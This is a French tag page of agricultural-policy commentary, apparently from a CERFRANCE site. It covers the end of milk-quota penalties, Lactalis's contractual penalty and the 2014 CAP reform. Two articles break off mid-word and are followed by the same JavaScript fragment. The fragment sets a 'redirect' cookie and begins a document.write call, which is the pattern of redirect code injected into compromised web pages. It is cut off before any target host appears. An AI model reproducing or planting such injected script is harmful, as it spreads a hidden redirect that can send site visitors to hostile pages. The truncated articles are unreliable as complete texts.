Politique de l’installation en agriculture par un expert CERFRANCE (2nd semestre 2014).
Étiquette : politique
Crise alimentaire : Pour une tracabilité dans les produits élaborés par Jacques Mathé
Analyse de la crise alimentaire, vers une traçabilité dans les produits élaborés par un expert CERFRANCE.
Fin des pénalités laitières : Sujet politique ou économique ?
L’ouverture officielle d’une enquête de la Commission Européenne sur le système de pénalité fiscale, appelée taxe France AGRIMER, en cas de dépassement individuel du quota laitier semble précipiter certaines décisions. Sans en attendre les conclusions de l’enquête, dont l’issue semble certaine, le Ministre LE FOLL préfère anticiper.
Le fait de prendre acte par anticipation d’une décision contraire à cette pratique est à l’honneur du Ministre de l’Agriculture, mais la seconde partie du communiqué officiel laisse dubitatif.
« Il est impératif de développer des mécanismes alternatifs permettant de faire face à des excédents d’offre conjoncturels » a déclaré le Ministre de l’agriculture Stéphane LE FOLL. « J’ai écrit au Commissaire pour lui demander de réfléchir, dans le cadre de la réforme de la PAC, à un mécanisme de stabilisation communautaire dans le secteur laitier ».
Un courrier en trompe l’œil
Stéphane LE FOLL, Parlementaire européen de 2004 à 2012 et grand spécialiste des questions agricoles, connaît parfaitement l’équilibre politique sur ce sujet au parlement européen et au sein du conseil européen, et il ne peut croire un instant qu’un nouveau mécanisme de régulation s’imposant à toute l’Europe laitière pourra voir le jour alors que certains producteurs européens ont actuellement les deux pieds sur le frein qu’ils repositionneront sur l’accélérateur dès le printemps 2015.
La suite du communiqué est encore plus irréelle …
« Dans l’attente de la réforme et afin d’éviter un déséquilibre de marché pour la campagne en cours, le Ministre appelle les laiteries coopératives et privées et les producteurs à mettre en place rapidement des mesures ayant un effet équivalent à celui de la taxe fiscale sur les dépassements individuels de quotas laitiers. Le cadre législatif sur le lait entré en vigueur en mars 2012 au niveau européen rend désormais possible une telle mesure dans le cadre des contrats entre éleveurs et acheteur, qui pourront être révisés à cet effet.
Une question d’économie : Comment peut-on imaginer que la limitation de la production française puisse avoir un effet sur le prix du lait dans un marché commun européen de plus en plus ouvert sur le Monde ?
Ne risque-t-on pas de faire une nouvelle fois le jeu des producteurs des autres Etats-Membres qui cumuleront le prix et le volume ?
La « pénalité LACTALIS », reconnue d’utilité publique
Pour le coup, LACTALIS doit se réjouir de cet appel, puisque son mécanisme de pénalité contractuelle en cas de dépassement vient de recevoir un agrément quasi officiel. Le leader français n’en avait d’ailleurs pas besoin. Sa stratégie est claire : Il n’entend pas à l’avenir collecter plus de lait que ce qu’il est en mesure de valoriser et mise sur une arme de dissuasion massive. Cette pratique est d’ailleurs moins défavorable « économiquement » pour le producteur que certaines possibilités de suspensions de collecte prévues dans certains contrats, mais quasiment passées inaperçues.
Qu’une entreprise souhaite border sa collecte en lien avec sa propre stratégie se conçoit, mais il est plus surprenant que cet appel serve de cap à la politique laitière française.
Ce nouveau « psychodrame » illustre une fois de plus le décalage croissant entre la vision de l’Agriculture depuis Paris et celle qu’on peut avoir depuis Bruxelles. Si ce communiqué répond très certainement à des objectifs politiques, il apparaît comme une négation de l’économie de marché.
Alors que sur le terrain de nombreux producteurs laitiers ont déjà intégré la dérégulation de l’économie laitière et qu’ils s’y préparent, il est étonnant de voir les pouvoirs publics devenir des relais d’opinions de certaines organisations professionnelles.
Comme souvent, la France apparaît regretter l’ancien temps ou l’ancienne PAC, et qu’à chaque décision minime ou réforme profonde, elle met tout en œuvre pour en retarder le processus et tenter d’en limiter les effets. Au bout du compte Il n’est pas sûr que cette vision frileuse ne desserve pas plus les intérêts de ceux qu’elle est sensée défendre. La question de la compétitivité dont on nous rebat les oreilles devrait trouver sa place dans cette réflexion.
Le rapport sur la contractualisation dans le secteur agricole remis au Ministre de l’Agrirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘
PAC : la recomposition des forces en présence ! par Marc Varchavsky
Analyse de la PAC et de la recomposition des forces en présence par Marc Varchavsky, responsable du développement de l’offre de services au Conseil National CERFRANCE.
La crise financière et l’économie de proximité par Jacques Mathé
La crise financière et l’économie de proximité par Jacques Mathé, économiste au CERFRANCE Poitou-Charentes.
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Les conséquences fiscales de la disparité des structures économiques d’une même entité par Philippe Boullet, Directeur de l’offre et des compétences au Conseil National CERFRANCE.
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Y aura-t-il un accord à l’OMC en 2012 ? par Alain Le Boulanger, Directeur régional économique.
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La disparition des quotas de betterave par Thierry Lemaître, Responsable conseil au CERFRANCE Nord Est Ile de France.
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Adapter la fiscalité en vue d’une constitution de réserve par Philippe Boullet, Directeur du développement au Conseil National CERFRANCE.
Horizons agricoles : La Corrèze et le Zambèze
La PAC 2014 au cœur des crises
Crise alimentaire, crise agricole, crise environnementale, crise financière : c’est à ces crises successives impactant l’agriculture auxquelles la PAC 2014 tente de répondre (volatilité des marchés agricoles, sécurité alimentaire, légitimité des aides). Mais élaboré depuis plus de 18 mois, autant dire un siècle, le projet présenté en octobre dernier n’a pas pu intégrer la plus graves d’entre elles : la crise de l’Euro dont personne ne sait aujourd’hui jusqu’où elle conduira ou ne conduira pas l’Europe.
Du changement et peu de surprises
A la différence des précédentes réformes (Quotas laitiers en 1984, réforme de 1992 ou découplage des aides en 2003) qui entretenaient un certain suspens la présentation des propositions législatives de la PAC 2014 par Dacian CIOLOS fait exception.
Plusieurs raisons à cela :, le Parlement Européen devenu co-décisionnaire sur la PAC depuis l’application du traité de Lisbonne avait pris l’initiative sur l’orientation des débats. De son côté, la commission avait préparé terrain en novembre 2010 en bâtissant son projet autour de trois scénarios dont deux jugés inefficaces par elle-même. Enfin et surtout, les propositions de la Commission sur le cadre financier 2014-2020 annoncées fin juin 2011 ont eu la primauté sur les propositions de la PAC 2014.
Le budget de la PAC est ainsi gelé sur la période 2014-2020, ce qui inflation oblige se traduira bien par une baisse en terme réel des moyens alloués à l’agriculture.
Quel sens donner à cette réforme de la PAC 2014 ?
En synthèse les propositions de la PAC 2014 se traduisent par un nouvel élan pour l’environnement via le verdissement obligatoire des aides à hauteur de 30% du paiement de base. Applicable pour l’ensemble des aides du 1er pilier, la commission a préféré un territoire européen vert pâle plutôt que quelques zones clairsemées en vert foncé ;
L’autre sujet majeur consistait à entamer le processus de convergence des aides directes entre les Etats-Membres. Redoutée par les Etats-Membres historiques (UE à 15) cette convergence des aides apparaît au final relativement timide sur cet exercice budgétaire 2014-2020.
En revanche, la convergence au sein des Etats-Membre est rendue obligatoire d’ici 2020. Cette transition sera particulièrement sensible en France qui est restée accrochée à ses références « pré »historiques, si ce n’est le premier pas impulsé par Michel BARNIER lors du bilan de santé.
Cette convergence nationale (ou régionale) ne manquera pas de voir s’affronter d’une part les filières agricoles et d’autre part les territoires, tant les écarts peuvent être importants. Si les céréaliers ont encore un bout de chemin à parcourir pour s’approcher de la moyenne nationale, certains systèmes pourraient être davantage affectés soit de part leur haut niveau de DPU (le système « lait intensif +taurillons » peut atteindre 550 €/ha) soit par la contrainte du verdissement lié à la diversité des cultures (Système maïs irrigué).
D’autres mesures dont certaines facultatives sont venues enrichir le dispositif : une bonification de 25% des aides pour les jeunes agriculteurs, la possibilité de dégager 5% des soutiens pour les zones à handicaps naturels, de même que 5% pour le soutien couplé de filières agricoles sensibles.
La conjugaison des crises au pluriel a aussi entamé l’orthodoxie libérale de la Commission. Qu’il s’agisse du maintien des outils d’intervention, de la possibilité de coupler jusqu’à 5% des aides directes, d’adoucissement des règles du droit de la concurrence (organisation des producteurs, interprofession), la PAC 2014, sans revenir en arrière, marque un arrêt dans le « démantèlement » des outils de protection.
Contrairement aux réformes passées (depuis 92 jusqu’en 2003), il n’est pas question de baisse de droits de douanes, de baisse de prix d’intervention, de réduction des capacités de stockage, de poursuite du découplage des aides etc. Ce revirement est aussi le fruit de l’absence d’avancées dans les négociations à l’OMC ; Le cycle de DOHA est dans un coma profond et il est fort probable qu’une future réforme de la PAC sera à négocier d’ici la mise en œuvre d’un nouvel accord à Genève.
Et si on ne pouvait plus financer la PAC à ce niveau ?
Cette proposition de PAC 2014 va désormais être traditionnellement débattue, amendée, et critiquée de toute part Mais au-delà de ces négociations, certains pointent déjà son caractère périmé. Ainsi Stéphane LE FOLL , député européen et probablement l’un des plus fins connaisseurs du dossier PAC en France, appelait dès la if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘
L’agriculture: un sujet politique mondial
L’ agriculture: un sujet politique mondial par Philippe Boullet, Directeur de l’Offre et des Compétences au Conseil National CERFRANCE